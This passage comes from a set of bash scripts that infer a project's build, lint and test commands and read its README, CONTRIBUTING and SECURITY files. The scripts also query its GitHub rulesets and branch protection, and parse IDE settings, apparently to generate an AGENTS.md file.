          has_test=$(jq -r '.scripts.test // empty' package.json 2>/dev/null)
          has_build=$(jq -r '.scripts.build // empty' package.json 2>/dev/null)
          dev_key=$(package_script_key dev start)
      
          if [ -n "$typecheck_key" ]; then
              TYPECHECK_CMD="$pm_run $typecheck_key"
          else
              TYPECHECK_CMD="$pm_dlx tsc --noEmit"
          fi
      
          if [ -n "$has_lint" ]; then
              LINT_CMD="$pm_run lint"
          else
              LINT_CMD="$pm_dlx eslint ."
          fi
      
          if [ -n "$has_format" ]; then
              FORMAT_CMD="$pm_run format"
          else
              FORMAT_CMD="$pm_dlx prettier --write ."
          fi
      
          if [ -n "$has_test" ]; then
              TEST_CMD="$PACKAGE_MANAGER test"
              # Single file test command
              if grep -q 'vitest' package.json 2>/dev/null; then
                  TEST_SINGLE_CMD="$pm_dlx vitest run"
              elif grep -q 'jest' package.json 2>/dev/null; then
                  TEST_SINGLE_CMD="$pm_dlx jest"
              else
                  TEST_SINGLE_CMD="$PACKAGE_MANAGER test --"
              fi
          fi
      
          if [ -n "$has_build" ]; then
              BUILD_CMD="$pm_run build"
          fi
      
          if [ -n "$dev_key" ]; then
              DEV_CMD="$pm_run $dev_key"
          fi
      }
      
      # Print the first script key that the given manifest actually defines, or
      # nothing. Callers emit `<runner> <key>`, so the key has to be the one that
      # exists — accepting `cs:fix` as evidence and then printing `format` writes a
      # command the project does not have.
      manifest_script_key() {
          local manifest="$1"
          shift
          local key
          for key in "$@"; do
              if jq -e --arg k "$key" '.scripts[$k] // empty' "$manifest" >/dev/null 2>&1; then
                  printf '%s' "$key"
                  return 0
              fi
          done
          return 0
      }
      
      composer_script_key() { manifest_script_key composer.json "$@"; }
      package_script_key() { manifest_script_key package.json "$@"; }
      
      # Extract from composer.json
      extract_from_composer_json() {
          [ ! -f "composer.json" ] && return 0
      
          local lint_key format_key test_key phpstan_key
      
          # Emit the script that EXISTS, not the first name we looked for. Accepting
          # `cs:fix` as evidence and then printing `composer run format` produces a
          # command the project does not define, and AGENTS.md presents it as fact.
          lint_key=$(composer_script_key lint "cs:check")
          format_key=$(composer_script_key format "cs:fix")
          test_key=$(composer_script_key test)
          phpstan_key=$(composer_script_key phpstan stan)
      
          if [ -n "$lint_key" ]; then
              LINT_CMD="composer run $lint_key"
          fi
      
          if [ -n "$format_key" ]; then
              FORMAT_CMD="composer run $format_key"
          fi
      
          if [ -n "$test_key" ]; then
              TEST_CMD="composer run $test_key"
          else
              TEST_CMD="vendor/bin/phpunit"
          fi
      
          if [ -n "$phpstan_key" ]; then
              TYPECHECK_CMD="composer run $phpstan_key"
          elif [ -f "phpstan.neon" ] || [ -f "Build/phpstan.neon" ]; then
              TYPECHECK_CMD="vendor/bin/phpstan analyze"
          fi
      }
      
      # Extract from pyproject.toml
      extract_from_pyproject() {
          [ ! -f "pyproject.toml" ] && return 0
      
          # Check for ruff
          if grep -q '\[tool.ruff\]' pyproject.toml; then
              LINT_CMD="ruff check ."
              FORMAT_CMD="ruff format ."
          fi
      
          # Check for black
          if grep -q 'black' pyproject.toml; then
              FORMAT_CMD="black ."
          fi
      
          # Check for mypy
          if grep -q 'mypy' pyproject.toml; then
              TYPECHECK_CMD="mypy ."
          fi
      
          # Check for pytest
          if grep -q 'pytest' pyproject.toml; then
              TEST_CMD="pytest"
          fi
      }
      
      # Language-specific defaults
      set_language_defaults() {
          case "$LANGUAGE" in
              "go")
                  : "${INSTALL_CMD:=go mod download}"
                  : "${TYPECHECK_CMD:=go build -v ./...}"
                  if [ -z "$LINT_CMD" ]; then
                      if [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ]; then
                          LINT_CMD="golangci-lint run ./..."
                      fi
                  fi
                  : "${FORMAT_CMD:=gofmt -w .}"
                  : "${TEST_CMD:=go test -v -race -short ./...}"
                  : "${TEST_SINGLE_CMD:=go test -v -race}"
                  : "${BUILD_CMD:=go build -v ./...}"
                  ;;
      
              "php")
                  : "${INSTALL_CMD:=composer install}"
                  if [ -z "$TYPECHECK_CMD" ]; then
                      if [ -f "phpstan.neon" ] || [ -f "Build/phpstan.neon" ]; then
                          TYPECHECK_CMD="vendor/bin/phpstan analyze"
                      fi
                  fi
                  : "${LINT_CMD:=vendor/bin/php-cs-fixer fix --dry-run}"
                  : "${FORMAT_CMD:=vendor/bin/php-cs-fixer fix}"
                  : "${TEST_CMD:=vendor/bin/phpunit}"
                  : "${TEST_SINGLE_CMD:=vendor/bin/phpunit}"
                  ;;
      
              "typescript")
                  local pm_dlx
                  pm_dlx=$(get_pm_dlx)
                  : "${INSTALL_CMD:=$PACKAGE_MANAGER install}"
                  : "${TYPECHECK_CMD:=$pm_dlx tsc --noEmit}"
                  : "${LINT_CMD:=$pm_dlx eslint .}"
                  : "${FORMAT_CMD:=$pm_dlx prettier --write .}"
                  if [ -z "$TEST_CMD" ]; then
                      if [ -f "jest.config.js" ] || [ -f "jest.config.ts" ]; then
                          TEST_CMD="$PACKAGE_MANAGER test"
                          TEST_SINGLE_CMD="$pm_dlx jest"
                      elif grep -q 'vitest' package.json 2>/dev/null; then
                          TEST_CMD="$pm_dlx vitest run"
                          TEST_SINGLE_CMD="$pm_dlx vitest run"
                      fi
                  fi
                  ;;
      
              "python")
                  if [ -f "pyproject.toml" ]; then
                      if grep -q '\[tool.poetry\]' pyproject.toml 2>/dev/null; then
                          INSTALL_CMD="poetry install"
                      elif grep -q '\[tool.uv\]' pyproject.toml 2>/dev/null; then
                          INSTALL_CMD="uv sync"
                      else
                          INSTALL_CMD="pip install -e ."
                      fi
                  else
                      INSTALL_CMD="pip install -r requirements.txt"
                  fi
                  : "${LINT_CMD:=ruff check .}"
                  : "${FORMAT_CMD:=ruff format .}"
                  : "${TYPECHECK_CMD:=mypy .}"
                  : "${TEST_CMD:=pytest}"
                  : "${TEST_SINGLE_CMD:=pytest}"
                  ;;
          esac
      }
      
      # Run extraction (stack-filtered)
      extract_from_makefile  # Always extract Makefile (cross-stack)
      should_extract_node && extract_from_package_json
      should_extract_php && extract_from_composer_json
      should_extract_python && extract_from_pyproject
      
      # Only set language defaults if matching stack or auto
      case "$STACK_FILTER" in
          "auto") set_language_defaults ;;
          "node") [[ "$LANGUAGE" == "typescript" || "$LANGUAGE" == "javascript" ]] && set_language_defaults ;;
          "php") [[ "$LANGUAGE" == "php" ]] && set_language_defaults ;;
          "go") [[ "$LANGUAGE" == "go" ]] && set_language_defaults ;;
          "python") [[ "$LANGUAGE" == "python" ]] && set_language_defaults ;;
          *)
              echo "ERROR: Invalid STACK_FILTER value: $STACK_FILTER" >&2
              echo "Valid options: auto, node, php, go, python" >&2
              exit 1
              ;;
      esac
      
      # Output JSON
      jq -n \
          --arg install "$INSTALL_CMD" \
          --arg typecheck "$TYPECHECK_CMD" \
          --arg lint "$LINT_CMD" \
          --arg format "$FORMAT_CMD" \
          --arg test "$TEST_CMD" \
          --arg test_single "$TEST_SINGLE_CMD" \
          --arg build "$BUILD_CMD" \
          --arg dev "$DEV_CMD" \
          --arg package_manager "$PACKAGE_MANAGER" \
          '{
              install: $install,
              typecheck: $typecheck,
              lint: $lint,
              format: $format,
              test: $test,
              test_single: $test_single,
              build: $build,
              dev: $dev,
              package_manager: $package_manager
          }'
      
    • extract-documentation.sh 7.7 KB
      #!/usr/bin/env bash
      # Extract information from documentation files (README, CONTRIBUTING, SECURITY, etc.)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Initialize outputs
      PROJECT_DESCRIPTION=""
      ARCHITECTURE_SECTION=""
      PR_PROCESS=""
      SECURITY_POLICY=""
      VULNERABILITY_REPORTING=""
      CHANGELOG_FORMAT=""
      
      # Helper to extract section from markdown
      # Usage: extract_section "file" "heading" [max_lines]
      extract_section() {
          local file="$1"
          local heading="$2"
          local max_lines="${3:-20}"
      
          if [ ! -f "$file" ]; then
              echo ""
              return
          fi
      
          # Find section and extract content until next heading
          awk -v heading="$heading" -v max="$max_lines" '
              BEGIN { found=0; count=0 }
              /^##?#?[[:space:]]/ {
                  if (found) exit
                  if (tolower($0) ~ tolower(heading)) { found=1; next }
              }
              found && count < max { print; count++ }
          ' "$file"
      }
      
      # Extract first paragraph after title (project description)
      extract_description() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo ""
              return
          fi
      
          # Skip title and badges, get first paragraph
          awk '
              BEGIN { started=0; in_para=0 }
              /^#[^#]/ { started=1; next }
              started && /^\[!\[/ { next }  # Skip badges
              started && /^[![]/ { next }   # Skip images
              started && /^>/ { next }      # Skip blockquotes initially
              started && !in_para && /^[A-Za-z]/ { in_para=1 }
              in_para && /^$/ { exit }
              in_para { print }
          ' "$file" | head -5
      }
      
      # Extract badges from README
      extract_badges() {
          local file="$1"
          local badges=()
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Find badge patterns: [![text](url)](link) or ![text](url)
          while IFS= read -r line; do
              if [[ "$line" =~ \[!\[([^\]]+)\] ]]; then
                  badges+=("${BASH_REMATCH[1]}")
              elif [[ "$line" =~ !\[([^\]]+)\] ]]; then
                  badges+=("${BASH_REMATCH[1]}")
              fi
          done < <(grep -E '^\[?!\[' "$file" 2>/dev/null || true)
      
          if [ ${#badges[@]} -eq 0 ]; then
              echo "[]"
          else
              printf '%s\n' "${badges[@]}" | jq -R . | jq -s .
          fi
      }
      
      # Extract key rules from CONTRIBUTING.md
      extract_contributing_rules() {
          local file="$1"
          local rules=()
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Extract bullet points from key sections
          while IFS= read -r line; do
              # Clean up the line
              line=$(echo "$line" | sed 's/^[[:space:]]*[-*][[:space:]]*//' | sed 's/[[:space:]]*$//')
              if [ -n "$line" ] && [ ${#line} -gt 10 ] && [ ${#line} -lt 200 ]; then
                  rules+=("$line")
              fi
          done < <(grep -E '^[[:space:]]*[-*][[:space:]]' "$file" 2>/dev/null | head -20 || true)
      
          if [ ${#rules[@]} -eq 0 ]; then
              echo "[]"
          else
              printf '%s\n' "${rules[@]}" | jq -R . | jq -s .
          fi
      }
      
      # Check for PR process documentation
      extract_pr_process() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo ""
              return
          fi
      
          # Look for PR-related sections
          local section
          section=$(extract_section "$file" "pull request" 15)
          if [ -z "$section" ]; then
              section=$(extract_section "$file" "submitting" 15)
          fi
          if [ -z "$section" ]; then
              section=$(extract_section "$file" "how to contribute" 15)
          fi
      
          echo "$section" | head -10
      }
      
      # Extract security policy
      extract_security_policy() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo ""
              return
          fi
      
          # Get main content
          awk '
              BEGIN { started=0 }
              /^#/ { started=1; next }
              started { print }
          ' "$file" | head -20
      }
      
      # Detect changelog format
      detect_changelog_format() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "none"
              return
          fi
      
          # Check for Keep a Changelog format
          if grep -qi "keep a changelog" "$file" 2>/dev/null; then
              echo "keepachangelog"
              return
          fi
      
          # Check for conventional changelog
          if grep -qE '^\s*###?\s*(Added|Changed|Deprecated|Removed|Fixed|Security)' "$file" 2>/dev/null; then
              echo "keepachangelog"
              return
          fi
      
          # Check for date-based entries
          if grep -qE '^\s*##\s*\[?[0-9]+\.[0-9]+' "$file" 2>/dev/null; then
              echo "semver-sections"
              return
          fi
      
          # Check for simple list format
          if grep -qE '^[-*]\s+' "$file" 2>/dev/null; then
              echo "simple-list"
              return
          fi
      
          echo "custom"
      }
      
      # Main extraction
      
      # README.md
      if [ -f "README.md" ]; then
          PROJECT_DESCRIPTION=$(extract_description "README.md")
          BADGES_JSON=$(extract_badges "README.md")
          ARCHITECTURE_SECTION=$(extract_section "README.md" "architecture" 30)
          if [ -z "$ARCHITECTURE_SECTION" ]; then
              ARCHITECTURE_SECTION=$(extract_section "README.md" "structure" 30)
          fi
      fi
      
      # CONTRIBUTING.md (check multiple locations)
      CONTRIBUTING_FILE=""
      for f in CONTRIBUTING.md .github/CONTRIBUTING.md docs/CONTRIBUTING.md; do
          if [ -f "$f" ]; then
              CONTRIBUTING_FILE="$f"
              break
          fi
      done
      
      if [ -n "$CONTRIBUTING_FILE" ]; then
          CONTRIBUTING_RULES_JSON=$(extract_contributing_rules "$CONTRIBUTING_FILE")
          PR_PROCESS=$(extract_pr_process "$CONTRIBUTING_FILE")
          CODE_STYLE_SECTION=$(extract_section "$CONTRIBUTING_FILE" "code style" 20)
          if [ -z "$CODE_STYLE_SECTION" ]; then
              CODE_STYLE_SECTION=$(extract_section "$CONTRIBUTING_FILE" "style guide" 20)
          fi
      else
          CONTRIBUTING_RULES_JSON="[]"
          CODE_STYLE_SECTION=""
      fi
      
      # SECURITY.md (check multiple locations)
      SECURITY_FILE=""
      for f in SECURITY.md .github/SECURITY.md docs/SECURITY.md; do
          if [ -f "$f" ]; then
              SECURITY_FILE="$f"
              break
          fi
      done
      
      if [ -n "$SECURITY_FILE" ]; then
          SECURITY_POLICY=$(extract_security_policy "$SECURITY_FILE")
          VULNERABILITY_REPORTING=$(extract_section "$SECURITY_FILE" "reporting" 15)
      else
          SECURITY_POLICY=""
          VULNERABILITY_REPORTING=""
      fi
      
      # CHANGELOG.md
      CHANGELOG_FILE=""
      for f in CHANGELOG.md HISTORY.md CHANGES.md; do
          if [ -f "$f" ]; then
              CHANGELOG_FILE="$f"
              break
          fi
      done
      
      if [ -n "$CHANGELOG_FILE" ]; then
          CHANGELOG_FORMAT=$(detect_changelog_format "$CHANGELOG_FILE")
      else
          CHANGELOG_FORMAT="none"
      fi
      
      # CODE_OF_CONDUCT.md
      COC_FILE=""
      for f in CODE_OF_CONDUCT.md .github/CODE_OF_CONDUCT.md; do
          if [ -f "$f" ]; then
              COC_FILE="$f"
              break
          fi
      done
      
      HAS_CODE_OF_CONDUCT=false
      if [ -n "$COC_FILE" ]; then
          HAS_CODE_OF_CONDUCT=true
      fi
      
      # Build JSON output
      jq -n \
          --arg desc "$PROJECT_DESCRIPTION" \
          --argjson badges "${BADGES_JSON:-[]}" \
          --arg arch "$ARCHITECTURE_SECTION" \
          --arg contributing_file "$CONTRIBUTING_FILE" \
          --argjson contributing_rules "${CONTRIBUTING_RULES_JSON:-[]}" \
          --arg pr_process "$PR_PROCESS" \
          --arg code_style "$CODE_STYLE_SECTION" \
          --arg security_file "$SECURITY_FILE" \
          --arg security_policy "$SECURITY_POLICY" \
          --arg vuln_reporting "$VULNERABILITY_REPORTING" \
          --arg changelog_file "$CHANGELOG_FILE" \
          --arg changelog_format "$CHANGELOG_FORMAT" \
          --argjson has_coc "$HAS_CODE_OF_CONDUCT" \
          --arg coc_file "$COC_FILE" \
          '{
              readme: {
                  description: $desc,
                  badges: $badges,
                  architecture_section: $arch
              },
              contributing: {
                  file: $contributing_file,
                  rules: $contributing_rules,
                  pr_process: $pr_process,
                  code_style: $code_style
              },
              security: {
                  file: $security_file,
                  policy: $security_policy,
                  vulnerability_reporting: $vuln_reporting
              },
              changelog: {
                  file: $changelog_file,
                  format: $changelog_format
              },
              code_of_conduct: {
                  exists: $has_coc,
                  file: $coc_file
              }
          }'
      
    • extract-github-rulesets.sh 3.5 KB
      #!/usr/bin/env bash
      # Extract GitHub repository rulesets (newer API, not just branch protection)
      # Returns JSON with ruleset details for AGENTS.md generation
      # Falls back gracefully if unavailable (no auth, not GitHub, no rulesets)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Silent exit with empty JSON if prerequisites not met
      bail() {
          jq -n '{rulesets: [], merge_queue: false, required_checks: [], signed_commits: false}'
          exit 0
      }
      
      # Check gh CLI available
      command -v gh &>/dev/null || bail
      
      # Check authenticated
      gh auth status &>/dev/null 2>&1 || bail
      
      # Check this is a git repo with a remote
      REMOTE_URL=$(git remote get-url origin 2>/dev/null) || bail
      
      # Check it's a GitHub repo
      [[ "$REMOTE_URL" =~ github\.com ]] || bail
      
      # Extract owner/repo from URL (handles both HTTPS and SSH)
      OWNER_REPO=$(echo "$REMOTE_URL" | sed -E 's|.*github\.com[:/]([^/]+/[^/.]+)(\.git)?.*|\1|')
      [[ -n "$OWNER_REPO" ]] || bail
      
      # Fetch rulesets — may fail if no permission or no rulesets
      RULESETS_RAW=$(gh api "repos/$OWNER_REPO/rulesets" 2>/dev/null) || bail
      
      # Check if response is a valid array
      echo "$RULESETS_RAW" | jq -e 'type == "array"' &>/dev/null || bail
      
      RULESET_COUNT=$(echo "$RULESETS_RAW" | jq 'length')
      if [ "$RULESET_COUNT" -eq 0 ]; then
          bail
      fi
      
      # Track aggregate settings
      HAS_MERGE_QUEUE=false
      HAS_SIGNED_COMMITS=false
      ALL_REQUIRED_CHECKS="[]"
      RULESETS_JSON="[]"
      
      for i in $(seq 0 $((RULESET_COUNT - 1))); do
          RULESET_ID=$(echo "$RULESETS_RAW" | jq -r ".[$i].id")
          RULESET_NAME=$(echo "$RULESETS_RAW" | jq -r ".[$i].name // \"unnamed\"")
          RULESET_TARGET=$(echo "$RULESETS_RAW" | jq -r ".[$i].target // \"branch\"")
          RULESET_ENFORCEMENT=$(echo "$RULESETS_RAW" | jq -r ".[$i].enforcement // \"disabled\"")
      
          # Skip disabled rulesets
          [ "$RULESET_ENFORCEMENT" = "disabled" ] && continue
      
          # Fetch detailed ruleset info (includes rules array)
          DETAIL=$(gh api "repos/$OWNER_REPO/rulesets/$RULESET_ID" 2>/dev/null) || continue
      
          # Extract rule types from the rules array
          RULE_TYPES=$(echo "$DETAIL" | jq -r '[.rules[]?.type // empty] | unique' 2>/dev/null) || RULE_TYPES="[]"
      
          # Check for specific rule types
          if echo "$RULE_TYPES" | jq -e 'index("merge_queue")' &>/dev/null; then
              HAS_MERGE_QUEUE=true
          fi
          if echo "$RULE_TYPES" | jq -e 'index("required_signatures")' &>/dev/null; then
              HAS_SIGNED_COMMITS=true
          fi
      
          # Extract required status checks
          STATUS_CHECKS=$(echo "$DETAIL" | jq -r '
              [.rules[]? | select(.type == "required_status_checks") |
               .parameters.required_status_checks[]?.context // empty] | unique' 2>/dev/null) || STATUS_CHECKS="[]"
      
          if [ "$STATUS_CHECKS" != "[]" ] && [ "$STATUS_CHECKS" != "null" ]; then
              ALL_REQUIRED_CHECKS=$(echo "$ALL_REQUIRED_CHECKS" "$STATUS_CHECKS" | jq -s 'add | unique')
          fi
      
          # Add to rulesets array
          RULESETS_JSON=$(echo "$RULESETS_JSON" | jq \
              --arg name "$RULESET_NAME" \
              --arg target "$RULESET_TARGET" \
              --arg enforcement "$RULESET_ENFORCEMENT" \
              --argjson rules "$RULE_TYPES" \
              '. + [{name: $name, target: $target, enforcement: $enforcement, rules: $rules}]')
      done
      
      # Output final JSON
      jq -n \
          --argjson rulesets "$RULESETS_JSON" \
          --argjson merge_queue "$HAS_MERGE_QUEUE" \
          --argjson required_checks "$ALL_REQUIRED_CHECKS" \
          --argjson signed_commits "$HAS_SIGNED_COMMITS" \
          '{rulesets: $rulesets, merge_queue: $merge_queue, required_checks: $required_checks, signed_commits: $signed_commits}'
      
    • extract-github-settings.sh 3.3 KB
      #!/usr/bin/env bash
      # Extract GitHub repository settings via gh CLI
      # Returns {} silently if gh unavailable, not authenticated, or not a GitHub repo
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Silent exit with empty JSON if prerequisites not met
      bail() { echo "{}"; exit 0; }
      
      # Check gh CLI available
      command -v gh &>/dev/null || bail
      
      # Check authenticated
      gh auth status &>/dev/null 2>&1 || bail
      
      # Check this is a git repo with a remote
      REMOTE_URL=$(git remote get-url origin 2>/dev/null) || bail
      
      # Check it's a GitHub repo
      [[ "$REMOTE_URL" =~ github\.com ]] || bail
      
      # Extract owner/repo from URL (handles both HTTPS and SSH)
      OWNER_REPO=$(echo "$REMOTE_URL" | sed -E 's|.*github\.com[:/]([^/]+/[^/.]+)(\.git)?.*|\1|')
      [[ -n "$OWNER_REPO" ]] || bail
      
      # Fetch repo settings
      REPO_INFO=$(gh api "repos/$OWNER_REPO" 2>/dev/null) || bail
      
      # Extract merge strategies
      ALLOW_SQUASH=$(echo "$REPO_INFO" | jq -r '.allow_squash_merge // false')
      ALLOW_MERGE=$(echo "$REPO_INFO" | jq -r '.allow_merge_commit // false')
      ALLOW_REBASE=$(echo "$REPO_INFO" | jq -r '.allow_rebase_merge // false')
      DEFAULT_BRANCH=$(echo "$REPO_INFO" | jq -r '.default_branch // "main"')
      DELETE_BRANCH=$(echo "$REPO_INFO" | jq -r '.delete_branch_on_merge // false')
      
      # Build merge strategies array
      STRATEGIES="[]"
      [ "$ALLOW_SQUASH" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["squash"]')
      [ "$ALLOW_MERGE" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["merge"]')
      [ "$ALLOW_REBASE" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["rebase"]')
      
      # Fetch branch protection (may fail if not configured or no access)
      # Note: gh api returns error JSON to stdout on 404, so we check for error message
      PROTECTION=$(gh api "repos/$OWNER_REPO/branches/$DEFAULT_BRANCH/protection" 2>/dev/null || true)
      if echo "$PROTECTION" | jq -e '.message' &>/dev/null; then
          # API returned an error (e.g., "Branch not protected")
          PROTECTION="{}"
      fi
      
      # Extract protection settings
      REQUIRED_APPROVALS=0
      REQUIRED_CHECKS="[]"
      REQUIRE_UP_TO_DATE=false
      DISMISS_STALE=false
      
      if [ "$PROTECTION" != "{}" ]; then
          # Required approving reviews
          REQUIRED_APPROVALS=$(echo "$PROTECTION" | jq -r '.required_pull_request_reviews.required_approving_review_count // 0')
          DISMISS_STALE=$(echo "$PROTECTION" | jq -r '.required_pull_request_reviews.dismiss_stale_reviews // false')
      
          # Required status checks
          REQUIRED_CHECKS=$(echo "$PROTECTION" | jq -r '.required_status_checks.contexts // []')
      
          # Require up-to-date branch
          REQUIRE_UP_TO_DATE=$(echo "$PROTECTION" | jq -r '.required_status_checks.strict // false')
      fi
      
      # Output JSON
      jq -n \
          --arg default_branch "$DEFAULT_BRANCH" \
          --argjson merge_strategies "$STRATEGIES" \
          --argjson required_approvals "$REQUIRED_APPROVALS" \
          --argjson required_checks "$REQUIRED_CHECKS" \
          --argjson require_up_to_date "$REQUIRE_UP_TO_DATE" \
          --argjson dismiss_stale "$DISMISS_STALE" \
          --argjson delete_branch "$DELETE_BRANCH" \
          '{
              available: true,
              default_branch: $default_branch,
              merge_strategies: $merge_strategies,
              required_approvals: $required_approvals,
              required_checks: $required_checks,
              require_up_to_date: $require_up_to_date,
              dismiss_stale_reviews: $dismiss_stale,
              delete_branch_on_merge: $delete_branch
          }'
      
    • extract-ide-settings.sh 7 KB
      #!/usr/bin/env bash
      # Extract information from IDE and editor configuration files
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Parse .editorconfig
      parse_editorconfig() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "{}"
              return
          fi
      
          local indent_style=""
          local indent_size=""
          local tab_width=""
          local end_of_line=""
          local charset=""
          local trim_trailing=""
          local insert_final=""
          local max_line_length=""
      
          # Parse INI-style format (simplified)
          while IFS= read -r line; do
              # Skip comments and section headers
              [[ "$line" =~ ^[[:space:]]*[#\;] ]] && continue
              [[ "$line" =~ ^\[.*\] ]] && continue
      
              # Parse key=value
              if [[ "$line" =~ ^([a-z_]+)[[:space:]]*=[[:space:]]*(.+)$ ]]; then
                  key="${BASH_REMATCH[1]}"
                  value="${BASH_REMATCH[2]}"
      
                  case "$key" in
                      indent_style) indent_style="$value" ;;
                      indent_size) indent_size="$value" ;;
                      tab_width) tab_width="$value" ;;
                      end_of_line) end_of_line="$value" ;;
                      charset) charset="$value" ;;
                      trim_trailing_whitespace) trim_trailing="$value" ;;
                      insert_final_newline) insert_final="$value" ;;
                      max_line_length) max_line_length="$value" ;;
                  esac
              fi
          done < "$file"
      
          jq -n \
              --arg indent_style "$indent_style" \
              --arg indent_size "$indent_size" \
              --arg tab_width "$tab_width" \
              --arg end_of_line "$end_of_line" \
              --arg charset "$charset" \
              --arg trim_trailing "$trim_trailing" \
              --arg insert_final "$insert_final" \
              --arg max_line_length "$max_line_length" \
              '{
                  indent_style: $indent_style,
                  indent_size: $indent_size,
                  tab_width: $tab_width,
                  end_of_line: $end_of_line,
                  charset: $charset,
                  trim_trailing_whitespace: $trim_trailing,
                  insert_final_newline: $insert_final,
                  max_line_length: $max_line_length
              } | with_entries(select(.value != ""))'
      }
      
      # Parse VSCode settings.json
      parse_vscode_settings() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "{}"
              return
          fi
      
          # Extract key settings (remove comments first)
          sed 's|//.*||g' "$file" 2>/dev/null | jq '{
              formatter: (."editor.defaultFormatter" // null),
              format_on_save: (."editor.formatOnSave" // null),
              tab_size: (."editor.tabSize" // null),
              insert_spaces: (."editor.insertSpaces" // null),
              eol: (."files.eol" // null),
              trailing_whitespace: (."files.trimTrailingWhitespace" // null),
              final_newline: (."files.insertFinalNewline" // null),
              rulers: (."editor.rulers" // null),
              python_linting: (."python.linting.enabled" // null),
              python_formatter: (."python.formatting.provider" // null),
              typescript_preferences: (."typescript.preferences.quoteStyle" // null),
              eslint_enable: (."eslint.enable" // null),
              prettier_enable: (."prettier.enable" // null)
          } | with_entries(select(.value != null))' 2>/dev/null || echo "{}"
      }
      
      # Parse VSCode extensions.json
      parse_vscode_extensions() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Extract recommendations
          jq '.recommendations // []' "$file" 2>/dev/null || echo "[]"
      }
      
      # Parse VSCode launch.json
      parse_vscode_launch() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Extract configuration names and types
          jq '[.configurations[] | {name: .name, type: .type, request: .request}]' "$file" 2>/dev/null || echo "[]"
      }
      
      # Check for JetBrains IDE settings
      parse_jetbrains_settings() {
          local idea_dir="$1"
      
          if [ ! -d "$idea_dir" ]; then
              echo "{}"
              return
          fi
      
          local code_style_file=""
          local inspection_profile=""
          local project_settings=()
      
          # Find code style settings
          if [ -d "$idea_dir/codeStyles" ]; then
              code_style_file=$(find "$idea_dir/codeStyles" -name "*.xml" -type f 2>/dev/null | head -1)
          fi
      
          # Find inspection profile
          if [ -d "$idea_dir/inspectionProfiles" ]; then
              inspection_profile=$(find "$idea_dir/inspectionProfiles" -name "*.xml" -type f 2>/dev/null | head -1)
          fi
      
          # Check for common settings files
          [ -f "$idea_dir/misc.xml" ] && project_settings+=("misc.xml")
          [ -f "$idea_dir/modules.xml" ] && project_settings+=("modules.xml")
          [ -f "$idea_dir/vcs.xml" ] && project_settings+=("vcs.xml")
          [ -f "$idea_dir/php.xml" ] && project_settings+=("php.xml")
          [ -f "$idea_dir/jsLibraryMappings.xml" ] && project_settings+=("jsLibraryMappings.xml")
      
          local settings_json="[]"
          if [ ${#project_settings[@]} -gt 0 ]; then
              settings_json=$(printf '%s\n' "${project_settings[@]}" | jq -R . | jq -s .)
          fi
      
          jq -n \
              --arg code_style "$code_style_file" \
              --arg inspection "$inspection_profile" \
              --argjson settings "$settings_json" \
              '{
                  code_style_file: $code_style,
                  inspection_profile: $inspection,
                  project_settings: $settings
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Detect IDEs present
      IDES=()
      [ -f ".editorconfig" ] && IDES+=("editorconfig")
      [ -d ".vscode" ] && IDES+=("vscode")
      [ -d ".idea" ] && IDES+=("idea")
      [ -d ".phpstorm" ] && IDES+=("phpstorm")
      [ -d ".fleet" ] && IDES+=("fleet")
      { [ -d ".vim" ] || [ -f ".vimrc" ]; } && IDES+=("vim")
      { [ -d ".nvim" ] || [ -f ".nvimrc" ]; } && IDES+=("neovim")
      [ -f ".sublime-project" ] && IDES+=("sublime")
      
      # Build IDE list JSON
      if [ ${#IDES[@]} -eq 0 ]; then
          IDES_JSON="[]"
      else
          IDES_JSON=$(printf '%s\n' "${IDES[@]}" | jq -R . | jq -s .)
      fi
      
      # Extract specific settings
      EDITORCONFIG_SETTINGS="{}"
      VSCODE_SETTINGS="{}"
      VSCODE_EXTENSIONS="[]"
      VSCODE_LAUNCH="[]"
      JETBRAINS_SETTINGS="{}"
      
      if [ -f ".editorconfig" ]; then
          EDITORCONFIG_SETTINGS=$(parse_editorconfig ".editorconfig")
      fi
      
      if [ -d ".vscode" ]; then
          VSCODE_SETTINGS=$(parse_vscode_settings ".vscode/settings.json")
          VSCODE_EXTENSIONS=$(parse_vscode_extensions ".vscode/extensions.json")
          VSCODE_LAUNCH=$(parse_vscode_launch ".vscode/launch.json")
      fi
      
      if [ -d ".idea" ]; then
          JETBRAINS_SETTINGS=$(parse_jetbrains_settings ".idea")
      elif [ -d ".phpstorm" ]; then
          JETBRAINS_SETTINGS=$(parse_jetbrains_settings ".phpstorm")
      fi
      
      # Build final JSON output
      jq -n \
          --argjson ides "$IDES_JSON" \
          --argjson editorconfig "$EDITORCONFIG_SETTINGS" \
          --argjson vscode_settings "$VSCODE_SETTINGS" \
          --argjson vscode_extensions "$VSCODE_EXTENSIONS" \
          --argjson vscode_launch "$VSCODE_LAUNCH" \
          --argjson jetbrains "$JETBRAINS_SETTINGS" \
          '{
              detected_ides: $ides,
              editorconfig: $editorconfig,
              vscode: {
                  settings: $vscode_settings,
                  recommended_extensions: $vscode_extensions,
                  launch_configurations: $vscode_launch
              },
              jetbrains: $jetbrains
          }'
      
    • extract-platform-files.sh 7.9 KB
      #!/usr/bin/env bash
      # Extract information from platform-specific files (.github/, .gitlab/, etc.)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
